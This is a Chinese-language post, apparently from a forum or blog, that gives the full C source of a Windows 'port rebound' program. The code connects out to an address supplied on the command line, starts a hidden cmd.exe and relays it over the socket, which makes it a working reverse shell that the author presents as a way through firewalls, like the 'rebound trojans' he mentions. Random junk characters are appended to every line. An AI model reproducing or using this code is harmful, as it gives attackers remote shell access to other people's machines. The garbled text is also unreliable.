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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *2r(!fJP=^  
/[UuHU5*R  
/* ============================== #gRtCoew  
Rebound port in Windows NT .MW/XnCYs4  
By wind,2006/7 s|-g)  
===============================*/ 1owe'7\J  
#include Ct386j><  
#include 884-\M"h  
ms/Q-  
#pragma comment(lib,"wsock32.lib") ~uh,R-Q$  
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void OutputShell(); h#]LXs  
SOCKET sClient; wo_iCjmK  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0t.v  
JVh/<A  
void main(int argc,char **argv)  Y$nI9  
{ .oz(,$CS"  
WSADATA stWsaData; e\ O&Xe  
int nRet; `;z;=A*  
SOCKADDR_IN stSaiClient,stSaiServer; Zie t-@}  
G|)fZQ1nS  
if(argc != 3) =xRxr @  
{ j$=MJN0  
printf("Useage:\n\rRebound DestIP DestPort\n"); {#H'K*j{  
return; 7` IO mTk  
} i 2n66d  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 'T*h0xX  
~0Xx]  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zmh5x{US1  
},vVc/  
stSaiClient.sin_family = AF_INET; P*9L3R*=N  
stSaiClient.sin_port = htons(0); nIv/B/>pZ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "Sd2VSLg  
*" ,"u;&  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Mx=L lC)  
{ :1e'22[=.  
printf("Bind Socket Failed!\n"); UjH+BC+9`b  
return; }7Y @u@R  
} Df=zrs["  
A3zO&4f ]  
stSaiServer.sin_family = AF_INET; `sJv?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Wj\< )cH]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W0KSLxM  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z|sR `]K  
{  y jY}o  
printf("Connect Error!"); k"J=CDP\  
return; 21.N+H'  
} za [;d4<}k  
OutputShell(); $/;<~Pzi  
} @4%x7%+[c  
I)}T4OOc/  
void OutputShell() i0*6o3h  
{ Nzel^~  
char szBuff[1024]; d> L*2 g  
SECURITY_ATTRIBUTES stSecurityAttributes; }ygxmb^@Z  
OSVERSIONINFO stOsversionInfo; ~{BR~\D  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s&Ml1 A:  
STARTUPINFO stStartupInfo; h} <Ie <  
char *szShell; 'EsdYx5C  
PROCESS_INFORMATION stProcessInformation; + u'y!@VV  
unsigned long lBytesRead; 7g&<ZZo  
0} Lx}2  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (vr v-4  
6;hZHe'W  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +B-;.]L T  
stSecurityAttributes.lpSecurityDescriptor = 0; zqAp7:  
stSecurityAttributes.bInheritHandle = TRUE; ~Is-^k)y  
s+E-M=d0e  
h,)UB1  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n%}Vd `c  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OQa;EBO  
-H AUKY@;5  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); HLp'^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qlIbnyP<  
stStartupInfo.wShowWindow = SW_HIDE; GXx/pBdy[4  
stStartupInfo.hStdInput = hReadPipe; iJ 8I# j+N  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vV 7L :>  
3M<T}>  
GetVersionEx(&stOsversionInfo); t/0h)mL}  
i 79;;9M  
switch(stOsversionInfo.dwPlatformId) 8WL*Pr 1I  
{ ,?Nc\Q<:  
case 1: 5sK1rDN  
szShell = "command.com"; 8i'EO6  
break; DJ<F8-sb2r  
default: 0FEn& \2<  
szShell = "cmd.exe"; ;+iw?"  
break; SoJ'y6  
} =9'px3:'WR  
BSbi.@@tp  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T1c.ER}17  
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send(sClient,szMsg,77,0); 34Z$a{ w  
while(1) 5W~-|8m  
{ \' ;zD-MX  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); GJIM^  
if(lBytesRead) 0I \l_St@  
{ FV W&)-I  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S#l6=zI7^R  
send(sClient,szBuff,lBytesRead,0); 0xe*\CAo  
} kmfxk/F}  
else u &s>UkR  
{ GK-__Y.  
lBytesRead=recv(sClient,szBuff,1024,0); SYmiDR  
if(lBytesRead<=0) break; k>dzeH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )A H)*Mg  
} 2%zJI"Ic  
} 2v9T&xo=  
cp g+-Zf%  
return; Af{K#R8!  
}
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